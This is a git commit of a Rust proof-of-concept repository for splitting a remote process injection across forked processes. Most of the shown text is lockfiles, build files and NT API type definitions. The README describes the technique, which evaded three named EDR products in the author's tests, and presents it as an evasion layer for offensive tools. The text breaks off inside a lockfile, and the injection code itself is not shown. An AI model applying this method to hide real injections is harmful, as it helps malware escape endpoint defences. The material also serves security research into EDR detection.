First commit

This commit is contained in:
Kudaes
2023-02-19 13:59:29 +01:00
parent e3e1c7aca7
commit 48b07101e2
16 changed files with 2179 additions and 0 deletions
+2
View File
@@ -0,0 +1,2 @@
[target.'cfg(all(windows, target_env = "msvc"))']
rustflags = ["-C", "target-feature=+crt-static"]
+1
View File
@@ -0,0 +1 @@
/target
Generated
+312
View File
@@ -0,0 +1,312 @@
# This file is automatically @generated by Cargo.
# It is not intended for manual editing.
version = 3
[[package]]
name = "addr2line"
version = "0.17.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "b9ecd88a8c8378ca913a680cd98f0f13ac67383d35993f86c90a70e3f137816b"
dependencies = [
"gimli",
]
[[package]]
name = "adler"
version = "1.0.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "f26201604c87b1e01bd3d98f8d5d9a8fcbb815e8cedb41ffccbeb4bf593a35fe"
[[package]]
name = "backtrace"
version = "0.3.65"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "11a17d453482a265fd5f8479f2a3f405566e6ca627837aaddb85af8b1ab8ef61"
dependencies = [
"addr2line",
"cc",
"cfg-if",
"libc",
"miniz_oxide",
"object",
"rustc-demangle",
]
[[package]]
name = "bindings"
version = "0.1.0"
dependencies = [
"windows",
]
[[package]]
name = "bitflags"
version = "1.3.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a"
[[package]]
name = "cc"
version = "1.0.73"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "2fff2a6927b3bb87f9595d67196a70493f627687a71d87a0d692242c33f58c11"
[[package]]
name = "cfg-if"
version = "1.0.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd"
[[package]]
name = "const-sha1"
version = "0.2.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "fb58b6451e8c2a812ad979ed1d83378caa5e927eef2622017a45f251457c2c9d"
[[package]]
name = "data"
version = "0.1.0"
dependencies = [
"bindings",
]
[[package]]
name = "dinvoke"
version = "0.1.0"
dependencies = [
"bindings",
"data",
"libc",
"litcrypt",
"winproc",
]
[[package]]
name = "failure"
version = "0.1.8"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "d32e9bd16cc02eae7db7ef620b392808b89f6a5e16bb3497d159c6b92a0f4f86"
dependencies = [
"backtrace",
"failure_derive",
]
[[package]]
name = "failure_derive"
version = "0.1.8"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "aa4da3c766cd7a0db8242e326e9e4e081edd567072893ed320008189715366a4"
dependencies = [
"proc-macro2",
"quote",
"syn",
"synstructure",
]
[[package]]
name = "gimli"
version = "0.26.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "78cc372d058dcf6d5ecd98510e7fbc9e5aec4d21de70f65fea8fecebcd881bd4"
[[package]]
name = "hex"
version = "0.4.3"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "7f24254aa9a54b5c858eaee2f5bccdb46aaf0e486a595ed5fd8f86ba55232a70"
[[package]]
name = "libc"
version = "0.2.125"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "5916d2ae698f6de9bfb891ad7a8d65c09d232dc58cc4ac433c7da3b2fd84bc2b"
[[package]]
name = "litcrypt"
version = "0.3.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "5f82f92066d9d41b3a569b459b7874e67feb835507a83b7bd142ea9f56c620c7"
dependencies = [
"proc-macro2",
"quote",
]
[[package]]
name = "memchr"
version = "2.5.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "2dffe52ecf27772e601905b7522cb4ef790d2cc203488bbd0e2fe85fcb74566d"
[[package]]
name = "miniz_oxide"
version = "0.5.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "d2b29bd4bc3f33391105ebee3589c19197c4271e3e5a9ec9bfe8127eeff8f082"
dependencies = [
"adler",
]
[[package]]
name = "object"
version = "0.28.4"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "e42c982f2d955fac81dd7e1d0e1426a7d702acd9c98d19ab01083a6a0328c424"
dependencies = [
"memchr",
]
[[package]]
name = "proc-macro2"
version = "1.0.38"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "9027b48e9d4c9175fa2218adf3557f91c1137021739951d4932f5f8268ac48aa"
dependencies = [
"unicode-xid",
]
[[package]]
name = "quote"
version = "1.0.18"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "a1feb54ed693b93a84e14094943b84b7c4eae204c512b7ccb95ab0c66d278ad1"
dependencies = [
"proc-macro2",
]
[[package]]
name = "rustc-demangle"
version = "0.1.21"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "7ef03e0a2b150c7a90d01faf6254c9c48a41e95fb2a8c2ac1c6f0d2b9aefc342"
[[package]]
name = "split"
version = "0.1.0"
dependencies = [
"bindings",
"data",
"dinvoke",
"hex",
"litcrypt",
"static_vcruntime",
]
[[package]]
name = "static_vcruntime"
version = "2.0.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "954e3e877803def9dc46075bf4060147c55cd70db97873077232eae0269dc89b"
[[package]]
name = "syn"
version = "1.0.94"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "a07e33e919ebcd69113d5be0e4d70c5707004ff45188910106854f38b960df4a"
dependencies = [
"proc-macro2",
"quote",
"unicode-xid",
]
[[package]]
name = "synstructure"
version = "0.12.6"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "f36bdaa60a83aca3921b5259d5400cbf5e90fc51931376a9bd4a0eb79aa7210f"
dependencies = [
"proc-macro2",
"quote",
"syn",
"unicode-xid",
]
[[package]]
name = "unicode-xid"
version = "0.2.3"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "957e51f3646910546462e67d5f7599b9e4fb8acdd304b087a6494730f9eebf04"
[[package]]
name = "widestring"
version = "0.4.3"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "c168940144dd21fd8046987c16a46a33d5fc84eec29ef9dcddc2ac9e31526b7c"
[[package]]
name = "winapi"
version = "0.3.9"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419"
dependencies = [
"winapi-i686-pc-windows-gnu",
"winapi-x86_64-pc-windows-gnu",
]
[[package]]
name = "winapi-i686-pc-windows-gnu"
version = "0.4.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6"
[[package]]
name = "winapi-x86_64-pc-windows-gnu"
version = "0.4.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
[[package]]
name = "windows"
version = "0.19.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "ef84dd25f4c69a271b1bba394532bf400523b43169de21dfc715e8f8e491053d"
dependencies = [
"const-sha1",
"windows_gen",
"windows_macros",
]
[[package]]
name = "windows_gen"
version = "0.19.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "ac7bb21b8ff5e801232b72a6ff554b4cc0cef9ed9238188c3ca78fe3968a7e5d"
dependencies = [
"windows_quote",
"windows_reader",
]
[[package]]
name = "windows_macros"
version = "0.19.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "5566b8c51118769e4a9094a688bf1233a3f36aacbfc78f3b15817fe0b6e0442f"
dependencies = [
"syn",
"windows_gen",
"windows_quote",
"windows_reader",
]
[[package]]
name = "windows_quote"
version = "0.19.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "4af8236a9493c38855f95cdd11b38b342512a5df4ee7473cffa828b5ebb0e39c"
[[package]]
name = "windows_reader"
version = "0.19.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "2c8d5cf83fb08083438c5c46723e6206b2970da57ce314f80b57724439aaacab"
[[package]]
name = "winproc"
version = "0.6.4"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "979e07b33c6af27e5c454e42d1b946b403ec222e7bad52ef020820708e087b25"
dependencies = [
"bitflags",
"failure",
"widestring",
"winapi",
]
+16
View File
@@ -0,0 +1,16 @@
[package]
name = "split"
version = "0.1.0"
edition = "2021"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[dependencies]
dinvoke = { path = "dinvoke" }
bindings = { path = "bindings" }
data = { path = "data" }
hex = "*"
litcrypt = "0.3"
[build-dependencies]
static_vcruntime = "2.0"
+40
View File
@@ -0,0 +1,40 @@
# Description
Divide and Conquer is an algorithm that is commonly applied in programming to solve a complex problem by dividing it into many simpler sub-problems. We can apply this approach to offensive security with a different goal: consufe EDRs so they lose track of our activities, preventing them from raising any alert. This is something similar of what can be seen lately on almost any phishing campaing in the wild: long infection chains, running multiple files step by step (e.g. .url -> .one -> .js -> .bat -> .dll) instead of running directly the final payload. Each one of the files executed performs a simple task (download another file, make any change in the registry, move files between directories or change their names/extensions and so on) that is hard to tag as malicious by itself, preparing the environment for the final execution.
I decided to test this simple idea but applied to something different, in this case, a remote process injection. The code presented in this repository is nothing new, on the contrary, it is probably one of the most common and straightfoward ways to inject a shellcode in a remote process: to make use of NtOpenProcess, NtAllocateVirtualMemory, NtWriteVirtualMemory, NtProtectVirtualMemory and NtCreateThreadEx. The shellcode simply spawns a new **cmd /k msg "hello from kudaes"**. The only difference is that I'm forking the process using NtCreateUserProcess after each one of those calls. Since the forked process continues with the execution from RIP + 1 and the memory is entirely copied from the parent, we can perform the remote process injection but using 5 different processes, we just need to make sure that any handle required for the subsequent API calls is properly inherited.
I've test this PoC against three of the most common EDRs nowadays: MDE, CrowdStrike and SentinelOne. The results speak for themselves: 2 out 3 EDRs raised a Remote Process Injection alert when running the PoC without the forks; on the contrary, none of them raised any alert once I introduced the forking mechanism.
Of course, even with the fork mechanism we can see in the raw telemetry the events corresponding to process creation, thread creation and also all the cross process behavior, but it seems it is not enough for the EDRs to tag the activity as malicious, proving the point of this PoC. By spliting the malicious behaviour into simpler tasks and running them from a different process each one we confuse and prevent the EDRs from raising any alert.
This same result could be achieved in different ways, I just used the fork mechanism to simplify my code and reduce the cross process activity between the spawned processes.
If you want to test this by yourself, compile the code with and without the calls to the function fork(), and then run both payloads in an environment with the desired EDR.
# Compilation
Since we are using [LITCRYPT](https://github.com/anvie/litcrypt.rs) plugin to obfuscate string literals (just for the Dinvoke_rs code), it is required to set up the environment variable LITCRYPT_ENCRYPT_KEY before compiling the code:
C:\Users\User\Desktop\RustChain> set LITCRYPT_ENCRYPT_KEY="yoursupersecretkey"
After that, simply compile the code and run the tool:
C:\Users\User\Desktop\Split> cargo build --release
C:\Users\User\Desktop\Split\target\release> split.exe -h
# Limitations
This technique by its own is not enough to bypass a EDR; if your code is none opsec at all, it is very probably that you will get caught anyway. This is not a golden bullet, just another layer of evasion that you can add to your tools. Nonetheless, the code presented in this repository is not opsec at all for the following reasons among others:
- Plain text shellcode. Moreover, the shellcode spawns a cmd once it is executed.
- No use of syscalls.
- No unhooking.
- Etw not pached.
- Despite the use of Dinvoke_rs, im not encrypting some string literals that show away the APIs that im using.
On the other hand, I just have tested this approach against the mentioned EDRs, and I don't know if other EDRs will be bypassed as well. You can test it and let me know how it went ;)
# Credits
* [Deep Instinct](https://github.com/deepinstinct) for their [Dirty-Vanity](https://github.com/deepinstinct/Dirty-Vanity) tool and research and for the shellcode template.
+15
View File
@@ -0,0 +1,15 @@
[package]
name = "bindings"
version = "0.1.0"
edition = "2021"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[profile.dev.package.bindings]
opt-level = 3
debug = 0
[dependencies]
windows = "0.19"
[build-dependencies]
windows = "0.19"
+13
View File
@@ -0,0 +1,13 @@
fn main() {
windows::build!(
Windows::Win32::System::Diagnostics::Debug::{GetThreadContext,SetThreadContext,IMAGE_FILE_HEADER,IMAGE_OPTIONAL_HEADER32,IMAGE_SECTION_HEADER,
IMAGE_DATA_DIRECTORY,IMAGE_OPTIONAL_HEADER_MAGIC,IMAGE_SUBSYSTEM},
Windows::Win32::System::Memory::{VIRTUAL_ALLOCATION_TYPE,PAGE_PROTECTION_FLAGS},
Windows::Win32::Foundation::{HANDLE,HINSTANCE,PSTR,BOOL},
Windows::Win32::System::Threading::{GetCurrentProcess,GetCurrentThread,PROCESS_BASIC_INFORMATION},
Windows::Win32::System::SystemServices::{IMAGE_BASE_RELOCATION,IMAGE_IMPORT_DESCRIPTOR,IMAGE_THUNK_DATA32,IMAGE_THUNK_DATA64,OVERLAPPED},
Windows::Win32::System::WindowsProgramming::{PUBLIC_OBJECT_TYPE_INFORMATION,OBJECT_ATTRIBUTES,IO_STATUS_BLOCK,CLIENT_ID},
Windows::Win32::Security::SECURITY_ATTRIBUTES,
Windows::Win32::System::Kernel::UNICODE_STRING,
);
}
+1
View File
@@ -0,0 +1 @@
windows::include_bindings!();
+3
View File
@@ -0,0 +1,3 @@
fn main() {
static_vcruntime::metabuild();
}
+126
View File
@@ -0,0 +1,126 @@
# This file is automatically @generated by Cargo.
# It is not intended for manual editing.
version = 3
[[package]]
name = "bindings"
version = "0.1.0"
dependencies = [
"windows",
]
[[package]]
name = "const-sha1"
version = "0.2.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "fb58b6451e8c2a812ad979ed1d83378caa5e927eef2622017a45f251457c2c9d"
[[package]]
name = "data"
version = "0.1.0"
dependencies = [
"bindings",
"winapi",
]
[[package]]
name = "proc-macro2"
version = "1.0.38"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "9027b48e9d4c9175fa2218adf3557f91c1137021739951d4932f5f8268ac48aa"
dependencies = [
"unicode-xid",
]
[[package]]
name = "quote"
version = "1.0.18"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "a1feb54ed693b93a84e14094943b84b7c4eae204c512b7ccb95ab0c66d278ad1"
dependencies = [
"proc-macro2",
]
[[package]]
name = "syn"
version = "1.0.94"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "a07e33e919ebcd69113d5be0e4d70c5707004ff45188910106854f38b960df4a"
dependencies = [
"proc-macro2",
"quote",
"unicode-xid",
]
[[package]]
name = "unicode-xid"
version = "0.2.3"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "957e51f3646910546462e67d5f7599b9e4fb8acdd304b087a6494730f9eebf04"
[[package]]
name = "winapi"
version = "0.3.9"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419"
dependencies = [
"winapi-i686-pc-windows-gnu",
"winapi-x86_64-pc-windows-gnu",
]
[[package]]
name = "winapi-i686-pc-windows-gnu"
version = "0.4.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6"
[[package]]
name = "winapi-x86_64-pc-windows-gnu"
version = "0.4.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
[[package]]
name = "windows"
version = "0.19.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "ef84dd25f4c69a271b1bba394532bf400523b43169de21dfc715e8f8e491053d"
dependencies = [
"const-sha1",
"windows_gen",
"windows_macros",
]
[[package]]
name = "windows_gen"
version = "0.19.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "ac7bb21b8ff5e801232b72a6ff554b4cc0cef9ed9238188c3ca78fe3968a7e5d"
dependencies = [
"windows_quote",
"windows_reader",
]
[[package]]
name = "windows_macros"
version = "0.19.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "5566b8c51118769e4a9094a688bf1233a3f36aacbfc78f3b15817fe0b6e0442f"
dependencies = [
"syn",
"windows_gen",
"windows_quote",
"windows_reader",
]
[[package]]
name = "windows_quote"
version = "0.19.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "4af8236a9493c38855f95cdd11b38b342512a5df4ee7473cffa828b5ebb0e39c"
[[package]]
name = "windows_reader"
version = "0.19.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "2c8d5cf83fb08083438c5c46723e6206b2970da57ce314f80b57724439aaacab"
+12
View File
@@ -0,0 +1,12 @@
[package]
name = "data"
version = "0.1.0"
edition = "2021"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[profile.dev.package.data]
opt-level = 3
debug = 0
[dependencies]
bindings = { path = "../bindings" }
+250
View File
@@ -0,0 +1,250 @@
use std::{collections::BTreeMap, ffi::c_void};
use bindings::Windows::Win32::{Foundation::{BOOL, HANDLE, HINSTANCE, PSTR}, System::{Diagnostics::Debug::{IMAGE_DATA_DIRECTORY, IMAGE_OPTIONAL_HEADER32, IMAGE_SECTION_HEADER}, Kernel::UNICODE_STRING, WindowsProgramming::{OBJECT_ATTRIBUTES,CLIENT_ID}}};
pub type PVOID = *mut c_void;
pub type DWORD = u32;
pub type EAT = BTreeMap<i64,String>;
pub type EntryPoint = extern "system" fn (HINSTANCE, u32, *mut c_void) -> BOOL;
pub type LoadLibraryA = unsafe extern "system" fn (PSTR) -> HINSTANCE;
pub type GetLastError = unsafe extern "system" fn () -> u32;
pub type CloseHandle = unsafe extern "system" fn (HANDLE) -> i32;
pub type LdrGetProcedureAddress = unsafe extern "system" fn (PVOID, *mut String, u32, *mut PVOID) -> i32;
pub type NtCreateUserProcess = unsafe extern "system" fn (*mut HANDLE, *mut HANDLE,u32, u32, *mut OBJECT_ATTRIBUTES,*mut OBJECT_ATTRIBUTES, u32, u32, PVOID, *mut PS_CREATE_INFO, *mut PS_ATTRIBUTE_LIST) -> i32;
pub type NtWriteVirtualMemory = unsafe extern "system" fn (HANDLE, PVOID, PVOID, usize, *mut usize) -> i32;
pub type NtProtectVirtualMemory = unsafe extern "system" fn (HANDLE, *mut PVOID, *mut usize, u32, *mut u32) -> i32;
pub type NtAllocateVirtualMemory = unsafe extern "system" fn (HANDLE, *mut PVOID, usize, *mut usize, u32, u32) -> i32;
pub type NtCreateThreadEx = unsafe extern "system" fn (*mut HANDLE, u32, *mut OBJECT_ATTRIBUTES, HANDLE, PVOID, PVOID, u32, usize, usize, usize, *mut PS_ATTRIBUTE_LIST) -> i32;
pub type NtQueryInformationProcess = unsafe extern "system" fn (HANDLE, u32, PVOID, u32, *mut u32) -> i32;
pub type NtQuerySystemInformation = unsafe extern "system" fn (u32, PVOID, u32, *mut u32) -> i32;
pub type NtOpenProcess = unsafe extern "system" fn (*mut HANDLE, u32, *mut OBJECT_ATTRIBUTES, *mut CLIENT_ID) -> i32;
pub type RtlAdjustPrivilege = unsafe extern "system" fn (u32, u8, u8, *mut u8) -> i32;
pub type RtlInitUnicodeString = unsafe extern "system" fn (*mut UNICODE_STRING, *const u16) -> () ;
pub const DLL_PROCESS_DETACH: u32 = 0;
pub const DLL_PROCESS_ATTACH: u32 = 1;
pub const DLL_THREAD_ATTACH: u32 = 2;
pub const DLL_THREAD_DETACH: u32 = 3;
pub const PAGE_READONLY: u32 = 0x2;
pub const PAGE_READWRITE: u32 = 0x4;
pub const PAGE_EXECUTE_READWRITE: u32 = 0x40;
pub const PAGE_EXECUTE_READ: u32 = 0x20;
pub const PAGE_EXECUTE: u32 = 0x10;
pub const MEM_COMMIT: u32 = 0x1000;
pub const MEM_RESERVE: u32 = 0x2000;
pub const SECTION_MEM_READ: u32 = 0x40000000;
pub const SECTION_MEM_WRITE: u32 = 0x80000000;
pub const SECTION_MEM_EXECUTE: u32 = 0x20000000;
// Access mask
pub const GENERIC_READ: u32 = 0x80000000;
pub const GENERIC_WRITE: u32 = 0x40000000;
pub const GENERIC_EXECUTE: u32 = 0x20000000;
pub const GENERIC_ALL: u32 = 0x10000000;
pub const SECTION_ALL_ACCESS: u32 = 0x10000000;
//File share flags
pub const FILE_SHARE_NONE: u32 = 0x0;
pub const FILE_SHARE_READ: u32 = 0x1;
pub const FILE_SHARE_WRITE: u32 = 0x2;
pub const FILE_SHARE_DELETE: u32 = 0x4;
//File access flags
pub const DELETE: u32 = 0x10000;
pub const FILE_READ_DATA: u32 = 0x1;
pub const FILE_READ_ATTRIBUTES: u32 = 0x80;
pub const FILE_READ_EA: u32 = 0x8;
pub const READ_CONTROL: u32 = 0x20000;
pub const FILE_WRITE_DATA: u32 = 0x2;
pub const FILE_WRITE_ATTRIBUTES: u32 = 0x100;
pub const FILE_WRITE_EA: u32 = 0x10;
pub const FILE_APPEND_DATA: u32 = 0x4;
pub const WRITE_DAC: u32 = 0x40000;
pub const WRITE_OWNER: u32 = 0x80000;
pub const SYNCHRONIZE: u32 = 0x100000;
pub const FILE_EXECUTE: u32 = 0x20;
// File open flags
pub const FILE_SYNCHRONOUS_IO_NONALERT: u32 = 0x20;
pub const FILE_NON_DIRECTORY_FILE: u32 = 0x40;
pub const SEC_IMAGE: u32 = 0x1000000;
#[repr(C)]
pub struct PS_ATTRIBUTE_LIST {
pub total_length: usize,
pub attributes: [PS_ATTRIBUTE; 2],
}
#[repr(C)]
pub struct PS_CREATE_INFO {
pub size: usize,
pub unused: [u8;80],
}
#[repr(C)]
pub struct PS_ATTRIBUTE {
pub attribute: usize,
pub size: usize,
pub union: PS_ATTRIBUTE_u,
pub return_length: *mut usize,
}
#[repr(C)]
pub union PS_ATTRIBUTE_u {
pub value: usize,
pub value_ptr: PVOID,
}
#[derive(Clone,Copy,Default)]
#[repr(C)]
pub struct PS_CREATE_INFO_InitState {
pub init_flags: u32,
pub additional_file_access: u32,
}
#[derive(Clone,Copy)]
#[repr(C)]
pub struct PS_CREATE_INFO_u_SuccessState {
pub output_flags: u32,
pub file_handle: HANDLE,
pub section_handle: HANDLE,
pub user_process_parameters_native: u64,
pub user_process_parameters_wow64: u32,
pub current_parameter_flags: u32,
pub peb_address_native: u64,
pub peb_address_wow64: u32,
pub manifest_address: u64,
pub manifest_size: u32,
}
#[derive(Clone,Copy)]
#[repr(C)]
pub union PS_CREATE_INFO_u {
pub init_state: PS_CREATE_INFO_InitState,
pub file_handle: HANDLE,
pub dll_characteristics: u16,
pub ifeokey: HANDLE,
pub success_state: PS_CREATE_INFO_u_SuccessState,
}
#[derive(Clone)]
#[repr(C)]
pub struct PeMetadata {
pub pe: u32,
pub is_32_bit: bool,
pub image_file_header: IMAGE_FILE_HEADER,
pub opt_header_32: IMAGE_OPTIONAL_HEADER32,
pub opt_header_64: IMAGE_OPTIONAL_HEADER64,
pub sections: Vec<IMAGE_SECTION_HEADER>
}
impl Default for PeMetadata {
fn default() -> PeMetadata {
PeMetadata {
pe: u32::default(),
is_32_bit: false,
image_file_header: IMAGE_FILE_HEADER::default(),
opt_header_32: IMAGE_OPTIONAL_HEADER32::default(),
opt_header_64: IMAGE_OPTIONAL_HEADER64::default(),
sections: Vec::default(),
}
}
}
#[repr(C)]
pub struct PeManualMap {
pub decoy_module: String,
pub base_address: i64,
pub pe_info: PeMetadata,
}
#[repr(C)]
#[derive(Copy, Clone, Default, PartialEq, Debug, Eq)]
pub struct ApiSetNamespace {
pub unused: [u8;12],
pub count: i32, // offset 0x0C
pub entry_offset: i32, // offset 0x10
}
#[repr(C)]
#[derive(Copy, Clone, Default, PartialEq, Debug, Eq)]
pub struct ApiSetNamespaceEntry {
pub unused1: [u8;4],
pub name_offset: i32, // offset 0x04
pub name_length: i32, // offset 0x08
pub unused2: [u8;4],
pub value_offset: i32, // offset 0x10
pub value_length: i32, // offset 0x14
}
#[repr(C)]
#[derive(Copy, Clone, Default, PartialEq, Debug, Eq)]
pub struct ApiSetValueEntry {
pub flags: i32, // offset 0x00
pub name_offset: i32, // offset 0x04
pub name_count: i32, // offset 0x08
pub value_offset: i32, // offset 0x0C
pub value_count: i32, // offset 0x10
}
#[derive(Copy, Clone, Default, PartialEq, Debug, Eq)]
#[repr(C)]
pub struct IMAGE_FILE_HEADER {
pub machine: u16,
pub number_of_sections: u16,
pub time_data_stamp: u32,
pub pointer_to_symbol_table: u32,
pub number_of_symbols: u32,
pub size_of_optional_header: u16,
pub characteristics: u16,
}
#[derive(Copy, Clone,Default)]
#[repr(C)] // required to keep fields order, otherwise Rust may change that order randomly
pub struct IMAGE_OPTIONAL_HEADER64 {
pub magic: u16,
pub major_linker_version: u8,
pub minor_linker_version: u8,
pub size_of_code: u32,
pub size_of_initialized_data: u32,
pub size_of_unitialized_data: u32,
pub address_of_entry_point: u32,
pub base_of_code: u32,
pub image_base: u64,
pub section_alignment: u32,
pub file_alignment: u32,
pub major_operating_system_version: u16,
pub minor_operating_system_version: u16,
pub major_image_version: u16,
pub minor_image_version: u16,
pub major_subsystem_version: u16,
pub minor_subsystem_version: u16,
pub win32_version_value: u32,
pub size_of_image: u32,
pub size_of_headers: u32,
pub checksum: u32,
pub subsystem: u16,
pub dll_characteristics: u16,
pub size_of_stack_reserve: u64,
pub size_of_stack_commit: u64,
pub size_of_heap_reserve: u64,
pub size_of_heap_commit: u64,
pub loader_flags: u32,
pub number_of_rva_and_sizes: u32,
pub datas_directory: [IMAGE_DATA_DIRECTORY; 16],
}
#[derive(Copy, Clone, Default, PartialEq, Debug, Eq)]
#[repr(C)]
pub struct GUID
{
pub data1: u32,
pub data2: u16,
pub data3: u16,
pub data4: [u8; 8],
}
+290
View File
@@ -0,0 +1,290 @@
# This file is automatically @generated by Cargo.
# It is not intended for manual editing.
version = 3
[[package]]
name = "addr2line"
version = "0.17.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "b9ecd88a8c8378ca913a680cd98f0f13ac67383d35993f86c90a70e3f137816b"
dependencies = [
"gimli",
]
[[package]]
name = "adler"
version = "1.0.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "f26201604c87b1e01bd3d98f8d5d9a8fcbb815e8cedb41ffccbeb4bf593a35fe"
[[package]]
name = "backtrace"
version = "0.3.65"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "11a17d453482a265fd5f8479f2a3f405566e6ca627837aaddb85af8b1ab8ef61"
dependencies = [
"addr2line",
"cc",
"cfg-if",
"libc",
"miniz_oxide",
"object",
"rustc-demangle",
]
[[package]]
name = "bindings"
version = "0.1.0"
dependencies = [
"windows",
]
[[package]]
name = "bitflags"
version = "1.3.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a"
[[package]]
name = "cc"
version = "1.0.73"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "2fff2a6927b3bb87f9595d67196a70493f627687a71d87a0d692242c33f58c11"
[[package]]
name = "cfg-if"
version = "1.0.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd"
[[package]]
name = "const-sha1"
version = "0.2.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "fb58b6451e8c2a812ad979ed1d83378caa5e927eef2622017a45f251457c2c9d"
[[package]]
name = "data"
version = "0.1.0"
dependencies = [
"bindings",
"winapi",
]
[[package]]
name = "dinvoke"
version = "0.1.0"
dependencies = [
"bindings",
"data",
"libc",
"litcrypt",
"winapi",
"winproc",
]
[[package]]
name = "failure"
version = "0.1.8"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "d32e9bd16cc02eae7db7ef620b392808b89f6a5e16bb3497d159c6b92a0f4f86"
dependencies = [
"backtrace",
"failure_derive",
]
[[package]]
name = "failure_derive"
version = "0.1.8"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "aa4da3c766cd7a0db8242e326e9e4e081edd567072893ed320008189715366a4"
dependencies = [
"proc-macro2",
"quote",
"syn",
"synstructure",
]
[[package]]
name = "gimli"
version = "0.26.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "78cc372d058dcf6d5ecd98510e7fbc9e5aec4d21de70f65fea8fecebcd881bd4"
[[package]]
name = "libc"
version = "0.2.125"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "5916d2ae698f6de9bfb891ad7a8d65c09d232dc58cc4ac433c7da3b2fd84bc2b"
[[package]]
name = "litcrypt"
version = "0.3.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "5f82f92066d9d41b3a569b459b7874e67feb835507a83b7bd142ea9f56c620c7"
dependencies = [
"proc-macro2",
"quote",
]
[[package]]
name = "memchr"
version = "2.5.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "2dffe52ecf27772e601905b7522cb4ef790d2cc203488bbd0e2fe85fcb74566d"
[[package]]
name = "miniz_oxide"
version = "0.5.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "d2b29bd4bc3f33391105ebee3589c19197c4271e3e5a9ec9bfe8127eeff8f082"
dependencies = [
"adler",
]
[[package]]
name = "object"
version = "0.28.4"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "e42c982f2d955fac81dd7e1d0e1426a7d702acd9c98d19ab01083a6a0328c424"
dependencies = [
"memchr",
]
[[package]]
name = "proc-macro2"
version = "1.0.38"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "9027b48e9d4c9175fa2218adf3557f91c1137021739951d4932f5f8268ac48aa"
dependencies = [
"unicode-xid",
]
[[package]]
name = "quote"
version = "1.0.18"
